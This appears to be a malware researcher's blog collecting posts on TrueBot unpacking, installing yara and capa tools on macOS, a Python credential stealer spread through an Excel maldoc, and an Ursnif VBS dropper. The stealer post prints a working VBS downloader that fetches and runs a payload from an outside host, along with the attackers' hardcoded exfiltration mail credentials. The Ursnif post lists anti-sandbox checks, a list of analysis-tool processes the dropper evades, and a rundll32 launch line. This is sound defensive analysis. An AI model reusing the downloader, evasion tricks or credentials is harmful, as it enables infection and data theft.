In October 2022, Microsoft published a blog post about Raspberry Robin and it’s role in the current cyber crime ecosystem. Microsoft reported, among other things, that they have observed Raspberry Robin delivering the well-known malware families IcedID, Bumblebee and TrueBot besides the already known delivery of FakeUpdates/SocGholish. At this time I was not really aware of TrueBot or I simply had forgotten about it.

In December 2022, Cisco Talos published a blog post in which they reported increased activity from TrueBot and mentioned that TrueBot might be related to TA505. They have observed TrueBot delivering Grace (aka FlawedGrace and GraceWire) as a follow-up payload, which is known to be exclusive tooling of TA505.

Since I have already analyzed some TA505 campaigns a few years ago and anything related to Raspberry Robin is of interest to me, TrueBot now had my attention and I finally found some time to take a closer look and here we are.

I have decided to start a small blog series that will cover the following points:

Analyzing different packed samples and identifying decryption/unpacking code
How to statically unpack with Python using Malduck?
Analyzing TrueBot Capabilities
IOC/Config extraction with Python using Malduck
C2/Bot Emulation
Bonus (maybe): Infrastructure analysis

The blog series is structured so that we gain the knowledge step by step to be able to take the next step.

In this first post, we’ll look at some packed samples and gain enough knowledge to write a static unpacker in the next step.

Identifying decryption/unpacking code

We are primarily looking at the packed samples that Talos also mentioned in their blog post including one sample that I have found on VirusTotal. All of these files are 32 Bit samples, mostly DLLs except for one sample which is a regular executable.

092910024190a2521f21658be849c4ac9ae6fa4d5f2ecd44c9055cc353a26875 
1ef8cdbd3773bd82e5be25d4ba61e5e59371c6331726842107c0f1eb7d4d1f49 
2d50b03a92445ba53ae147d0b97c494858c86a56fe037c44bc0edabb902420f7 
31272235fcdce1d28542c0bc30c069cdb861ff34dd645fe5143ad911fdb1e8a9 
55d1480cd023b74f10692c689b56e7fd6cc8139fb6322762181daead55a62b9e 
58b671915e239e9682d50a026e46db0d775624a61a56199f7fd576b0cef4564d 
6210a9f5a5e1dc27e68ecd61c092d2667609e318a95b5dade3c28f5634a89727 
68a86858b4638b43d63e8e2aaec15a9ebd8fc14d460dd74463db42e59c4c6f89 
72813522a065e106ac10aa96e835c47aa9f34e981db20fa46a8f36c4543bb85d
7a64bc69b60e3cd3fd00d4424b411394465640f499e56563447fe70579ccdd00
7e39dcd15307e7de862b9b42bf556f2836bf7916faab0604a052c82c19e306ca
bf3c7f0ba324c96c9a9bff6cf21650a4b78edbc0076c68a9a125ebcba0e523c9
c3743a8c944f5c9b17528418bf49b153b978946838f56e5fca0a3f6914bee887
c3b3640ddf53b26f4ebd4eedf929540edb452c413ca54d0d21cc405c7263f490
c6c4f690f0d15b96034b4258bdfaf797432a3ec4f73fbc920384d27903143cb0

If you look at the binary, you will relatively quickly stumble upon a large binary blob that is referenced in only one function in the binary. The two loops in which the blob is referenced should give you a good indication that something might be decrypted here, see the screenshot below.

I have checked all available samples and the decryption algorithm is identical in each case, however, there are a few different variations, how the decryption function is called. In the most common variant there is an export, which calls a wrapper function, which in turn calls the decryption function. Sometimes there is only one wrapper function, sometimes several, and sometimes the decryption code is directly in the export of the DLL.

Regular executable where the call to decryption function is located in WinMain:

Decryption code directly in an exported function:

The decryption algorithm uses a hardcoded key and is XOR’ing through the entire binary blob, with incrementing the iterator by the length of the key. Additionally, another part of the decryption “formula” is a boolean and operation with a hardcoded value. By using a debugger, it’s pretty easy to get to the unpacked code. However, since we want a have static unpacker, I reimplemented the function in Python.

def decrypt(data_blob, key, param):
    result = list(data_blob)
    i = 0
    while i < len(key):
        x = i
        key_xor = key[i] ^ param
        while x <= len(result) - 1:
            result[x] = result[x] ^ key_xor ^ ((x & 0xff) & param)
            x += len(key)
        i += 1

    return result

Now, all we need to decrypt is the binary blob, the decryption key and the parameter for the and operation. In my next blog post, I will describe how to get these values with help of Python and Malduck.

How to install capa-explorer for IDA 7.7 on macOS Monterey (M1)?

Tue, 05 Jul 2022 23:12:22 +0200

In case you’re wondering if I’m still installing my new system. Yes, I do, and it’s a long process ;). Today we’re installing capa-explorer, which is a IDA plugin to integrate capa into IDA Pro.

I’m still on a pretty fresh installation so the first step is to install cmake because lief, which is part of capa, needs it.

brew install cmake

After installing cmake, we follow the offical guide from their github page.

pip3 install flare-capa
Download capa rules from https://github.com/mandiant/capa-rules
Download capa explorer from https://raw.githubusercontent.com/mandiant/capa/master/capa/ida/plugin/capa_explorer.py and copy it to your IDA plugins directory

Your IDA plugin directory should be located here (if you don’t have a plugins folder, just create it):

/Users/your_user/.idapro/plugins

The plugin should now be available in IDA Pro under plugins.

The next step will be to set up the rule path for the capa rules we downloaded before.

Analyzing the loaded sample in IDA should now work, except there is a problem with the installed capa version and the downloaded ruleset, see this issue

To fix it, I used the rule set 3.2.0 which worked well.

How to install yara python on macOS Monterey (M1)?

Mon, 04 Jul 2022 22:19:22 +0200

After we installed YARA from source with all available modules, the next step will be to install yara-python to use it within Python. To do so we follow the instructions from the official github page

I’m a huge fan of virtual environments, so first we set up our virtual environment and activate it.

python3 -m venv venv_dir
. venv_dir/bin/activate

To make use of our installed YARA version from the blog post before, we need to link yara-python dynamically.

git clone --recursive https://github.com/VirusTotal/yara-python
cd yara-python
python setup.py build --dynamic-linking
python setup.py install

If everything worked correctly (what I hope for all our well-being), yara-python should now be installed in our Virtual Environment.

How to install yara from source on macOS Monterey (M1)?

Wed, 22 Jun 2022 22:19:22 +0200

Every time I get a new system, I try to forget my old one and start from scratch which means ditching a lot of tools I no longer use and focusing only on what I really need. Unfortunately, I often spend a lot of time thinking about how I installed some tools, because they usually don’t work out of the box. But this is now changing. For every tool that I can’t get to run out-of-the-box, I will write an installation guide on this blog to make life easier for me, and possibly other people.

I will start with YARA, which I will install from source including all modules.

The official installation guide from YARA will help us with this.

Before downloading the source code from YARA, we need to make sure that automake, libtool, make and gcc and pkg-config are installed on our system. To do so, we use brew.

brew install automake
brew install libtool
brew install make
brew install gcc
brew install pkg-config
brew install flex
brew install bison
brew install jansson
brew install openssl
brew install libmagic

Next step will be to get the YARA source from https://github.com/VirusTotal/yara/releases and following the official installation guide.

tar -zxf yara-4.2.0.tar.gz
cd yara-4.2.0
./bootstrap.sh

After running the bootstrap.sh script, we need to run:

./configure --enable-cuckoo --enable-magic --with-crypto --enable-dex --enable-macho

I received errors that that OpenSSL and Jansson Library could not be found.

To fix it we need to set LDFLAGS and CPPFLAGS properly. The OpenSSL headers and libs can be found in /opt/homebrew/opt/openssl@3/include and /opt/homebrew/opt/openssl@3/lib and the Jansson headers and libs can be found in /opt/homebrew/include and /opt/homebrew/lib so the flags must be as follows:

export LDFLAGS="-L/opt/homebrew/opt/openssl@3/lib -L/opt/homebrew/lib"
export CPPFLAGS="-I/opt/homebrew/opt/openssl@3/include -I/opt/homebrew/include"

The configure script should now run without errors. Finally, we make, let the tests run and install via make install and we are ready to go.

make
make check

All tests should pass:

Finally install via:

sudo make install

Python stealer distribution via excel maldoc

Wed, 19 May 2021 20:23:00 +0200

Today I became aware of an interesting sample that turned out to be a stealer written in Python. It all started with an email that had a malicious Excel document attached:

4c9e0da6515b621f41d21f1fd75b30f41ee0765598f1ad4c2a2698f63808445c - PO850647-1648.xls

As usual, the Excel document contains a macro which downloads and executes another payload. In this case, the second payload was a VBS file stored at

 hxxp://188[.]127.254.61/6846546874968946.php

(One thing to note here is, that the attackers blocked IP addresses from countries outside their current target area for example the download worked from germany but did not work from several other european countries.)

The VBS looks pretty simple and only has one job to do, to download and store the final payload :

winex_aa = "https://u.teknik.io/0k9L0.mp4" : winex_bb = Right(Year(Now),2) & Right("00" & Month(Now),2) & Right("00" & Day(Now),2) & Right("00" & Hour(Now),2) & Right("00" & Minute(Now),2) & Right("00" & Second(Now),2) : winex_cc = "C:\Windows\Temp\XM" & winex_bb & ".exe" : Set winex_dd = CreateObject("MSXML2.XMLHTTP") : winex_dd.open "GET", winex_aa, false : winex_dd.send()
If winex_dd.Status = 200 Then
Set winex_ee = CreateObject("ADODB.Stream") : winex_ee.Open : winex_ee.Type = 1 : winex_ee.Write winex_dd.ResponseBody : winex_ee.Position = 0 : winex_ee.SaveToFile winex_cc : winex_ee.Close : Set winex_ee = Nothing
End if
Set winex_dd = Nothing : Set winex_ff = CreateObject("WScript.Shell") : winex_ff.Exec(winex_cc)

The final payload is quite large (13-14MB) and after looking for strings it became clear that it is a malware written in Python with lots of different external modules.

... SNIP
bVCRUNTIME140.dll
b_bz2.pyd
b_cffi_backend.cp37-win_amd64.pyd
b_ctypes.pyd
b_decimal.pyd
b_elementtree.pyd
b_hashlib.pyd
b_lzma.pyd
b_multiprocessing.pyd
b_queue.pyd
b_socket.pyd
b_sqlite3.pyd
b_ssl.pyd
b_win32sysloader.pyd
bcryptography\hazmat\bindings\_constant_time.cp37-win_amd64.pyd
bcryptography\hazmat\bindings\_openssl.cp37-win_amd64.pyd
blibcrypto-1_1.dll
blibssl-1_1.dll
bmfc140u.dll
bpyexpat.pyd
bpython37.dll
bpythoncom37.dll
bpywintypes37.dll
bselect.pyd
bsimplejson\_speedups.cp37-win_amd64.pyd
bsqlite3.dll
btinyaes.cp37-win_amd64.pyd
bunicodedata.pyd
bwin32api.pyd
bwin32com\shell\shell.pyd
bwin32crypt.pyd
bwin32trace.pyd
bwin32ui.pyd
bwin32wnet.pyd
bxv.exe.manifest
opyi-windows-manifest-filename xv.exe.manifest
xInclude\pyconfig.h
xbase_library.zip
xcertifi\cacert.pem
xcryptography-2.9.2-py3.7.egg-info\PKG-INFO
xcryptography-2.9.2-py3.7.egg-info\SOURCES.txt
%python37.dll

... SNIP

The most common way to make a windows executable from python code is to use PyInstaller. In order to reverse the process, you can use PyInstaller Extractor.

When running Pyinstaller Extractor, you will see quite a lot of useful information in the log for example the used Pyinstaller version, the used Python version and most important, the possible entry point.

As also described on the PyInstaller Extractor Github page, we now can try to decompile the pyc files. Since tx.pyc is the suggested entry point, we will start with that. Before decompiling the pyc file we need to fix the header because PyInstaller removed those bytes. In order to do so, we just add the following bytes at the beginning of the file 42 0d 0d 0a 00 00 00 00 e4 b9 18 5d 00 00 00 00.

For decompiling python byte code, there are different tools available like Uncompyle6 or decompyle3. However, none of them in the latest version worked for me for whatever reason. Maybe it’s because I used the latest version, because Uncompyle6 version 2.7 seems to work (thanks @bbaskin for the hint). I ended up using unpyc3 to decompile the pyc file which gave me beautiful round about 12.000 lines of python code.

I just analyzed a small portion of the sample because when scrolling through the code, it was quite obvious that this must be stealer. There are tons of functions searching for credentials for different tools/services, even KeeThief is included.

My interest was in how the data is exfiltrated. After searching around a little bit, I could spot a list, containing two dictionaries with smtp credentials (I renamed the variable for better readability).

emails_for_exfil = [
            {'email': 'ggveddy@yahoo.com', 'pass': 'lyhdqnatklklhvzf', 
             'server': 'smtp.mail.yahoo.com', 'port': 587,'security': 'TLS'},
            {'email': 'ggceddy@yahoo.com', 'pass': 'fagvjohnktkopgol', 
            'server': 'smtp.mail.yahoo.com', 'port': 587, 'security': 'TLS'}]

Following this list I could spot the function sending emails which takes the harvested credentials as input. Similar to AgentTesla, this stealer is exfiltrating stolen data via sending emails to specific hard-coded accounts.

There is currently no official name for the malware and it does not appear to be widespread. James flagged it as Eightaliuim because of some strings inside the sample.

If anyone has more samples or more details about this campaign, please let me know.

IOCs:

Excel dropper:
4c9e0da6515b621f41d21f1fd75b30f41ee0765598f1ad4c2a2698f63808445c

Download link for the VBS called from the dropper:
http://188.127.254.61/6846546874968946.php

VBS payload to download final payload:
ad109cb6bedbe3a492aca14b5ce603465b52aa88a3477692591556ef8702227e

Called from the VBS payload to download the final payload:
https://u.teknik.io/0k9L0.mp4

Email receiving stolen credentials:
ggveddy@yahoo.com
ggceddy@yahoo.com

Having fun with an Ursnif VBS dropper

Fri, 27 Nov 2020 18:50:00 +0100

I recently stumbled across an interesting sample that was delivered as part of an encrypted zip archive via a Google-Drive link. The password for the archive was sent by email together with the Google-Drive link. Since the sample runs only partially in some sandboxes and it’s not even starting in others, I took a closer look at it.

The sample can be found on VirusTotal and there are still only ten detections so far (even though it’s on VT for two months now).
fd490c7b728af08052cf4876c1fc8c6e290bde368b6343492d60fc9d8364a7e5 - aPsYyn8Rw2Xf.vbs

Looking at the file extension, you could already guess it’s a Visual Basic Script file, which however appears unusually large. Due to the size, the actual payload is most probably somehow hidden in the VBS file so lets have a look into the file.

Deobfuscation

Scrolling through the file we see lots of useless comments, some array definitions, some constant definitions and a for loop.

To get rid of all the useless code, I wrote a quick’n’dirty python tool to remove all the junk code and convert the remaining code to python for easier analysis. Since the constant and array definitions are mixed up in the code, we have to restructure them. I moved all const definitions to the beginning followed by the array definitions, the function calls and everything else at the end.

f = open("aPsYyn8Rw2Xf.vbs", "r")

const_lines = []
array_lines = []
execute_lines = []
loop_lines = []
everything_else = []


for line in f:
    if not (line.startswith("'") or line.startswith("REM")):
        if "const" in line:
            const_lines.append(line.replace("const", "").replace("\n", "").replace(" ", ""))
        elif "Array(" in line:
            array_lines.append(line.replace("Array(", "[").
                               replace(")", "]").replace("\n", "").strip())
        elif "Execute" in line:
            execute_lines.append(line.replace("Execute", "print").replace("\n", "").strip())
        elif line.startswith("for"):
            loop_lines.append(line.replace("\n", "").strip())
        else:
            everything_else.append(line.replace("\n", ""))

for item in const_lines:
    print(item)
for item in array_lines:
    print(item)
for item in execute_lines:
    print(item)
for item in loop_lines:
    print(item)
for item in everything_else:
    if len(item) > 0:
        print(item)

After running the python script, we will get a new cleaned up code which is almost runnable in python.

At the end we can spot a function kuHKE() which is called several times and is taking an array as an argument. This is most probably the function which is used for decoding all the arrays. Another thing here to mention are the function calls at the end of the cleaned code. Those will be relevant later when we have the final deobfuscated code.

So let’s rewrite the kuHKE() function into python and remove the function calls at the end.

def kuHKE(EUnWxs):
    result = ""
    for Mali842 in EUnWxs:
        result += chr(Mali842 - ((26 + 30) - ((17 - 1) + 35)))

    return result

After executing the cleaned code, we still get a little bit of obfuscated code but since it’s not very much, we can easily do it manually.

So the final deobfuscated but still not annotated code can be found here. I will break it down into the most interesting things since it will be too much otherwise.

Analysis

The sample contains several anti-sandbox tricks and uses WMI and WSH objects to perform them. If one of those anti sandbox tricks succeed, the script will call a clean up routine which looks as follows (I have annotated the function accordingly for better readability):

Function clean_up_routine()
    send_http_get_request("none")
    delete_itself
    print_fake_message
    WScript.Quit
End Function

It’s sending a HTTP GET request to none (for whatever reason), deleting itself and showing a fake error message in a message box:

In the following, I explain the functions in the order in which they are called.

1. Anti Sandbox - Check physical space

The first function NoSkh() is calling the clean up routine when the file "%USERPROFILE%\Downloads\614500741.txt" is already there or when your TotalPhysicalMemory is smaller than 1GB.

2. Anti Sandbox - Check Disk space

If your TotalPhysicalMemory is bigger than 1GB, the next function vgdKyGt() is called which is terminating the script if your total disk space is smaller than 60GB.

3. Anti Sandbox - Check country code

When the first two anti sandbox checks were not successful, the next function ULLhsI() is called. It checks your configured country code at "HKEY_CURRENT_USER\Control Panel\International\Geo\Nation". If your nation key is configured to 203, which is Russia, the script is terminating with its clean up routine. Otherwise it will proceed.

4. Anti Sandbox - Check LastBootUpTime

The next function OUbPa() checks how long your machine is already running. Therefor, it’s checking the LastBootUpTime via WMI and if it’s less than 10 minutes, it will terminate calling its clean up routine.

5. Anti Sandbox - Check Processes

Since the malware does not want to run on an analyst system the function confidante615() is checking for specific processes from analysis tools.

rZRjk = Array("frida-winjector-helper-64.exe","frida-winjector-helper-32.exe","pythonw.exe","pyw.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe","fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe","apimonitor.exe","GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe","apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe","sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe","sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe","procanalyzer.exe","spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe","idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe","bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe","sython.exe","capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe","taslogin.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe","tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe","totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe","raptorclient.exe","txplatform.exe","dnf.exe","lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe","vx.exe","dumpcap.exe","lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe","ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe","fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe","Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")

If there is such a process, it’s terminating with its clean up routine. Additionally, it will terminate if there are less than 28 processes running on the system.

Finally..

The next function qlqDsdN() is terminating if the file %TEMP%\microsoft.url exists. If not, it creates a shortcut file %TEMP%\adobe.url which points to https://adobe.com (No idea why. If someone knows, please tell me. Maybe a red herring but nobody is looking into the %TEMP% folder, so why!?).

The function WjwMtT() is making use of the before mentioned kuHKE() function to write a large byte array to a zip file %TEMP%\Monica.zip. Inside Monica.zip, there are three files:

accouter.dxf (the final payload)
inhibitory.tif (contains part of a string which may be used from accouter.dfx)
isolate.woff (the other part of a string which may be used from accouter.dfx)

bluish578() copies the three items of Monica.zip into %TEMP%, deletes Monica.zip and gMcKFIz() ` finally executes the file accouter.dxf which was before copied from Monica.zip into %TEMP%.

Execution is performed via rundll32:

sXmEKs.Create "rundll32" + " " + Get_Temp_Folder + "accouter.dxf" + ",DllRegisterServer"

The dropped file accouter.dfx can be found on VT and it seems like its Ursnif.

IOCs:

fd490c7b728af08052cf4876c1fc8c6e290bde368b6343492d60fc9d8364a7e5
%TEMP%\adobe.url
%TEMP%\Monica.zip
%TEMP%\accouter.dfx
%TEMP%\inhibitory.tif
%TEMP%\isolate.woff

ed7d22c2f922df466fda6914eb8b93cc27c81f16a60b7aa7eac9ca033014c22c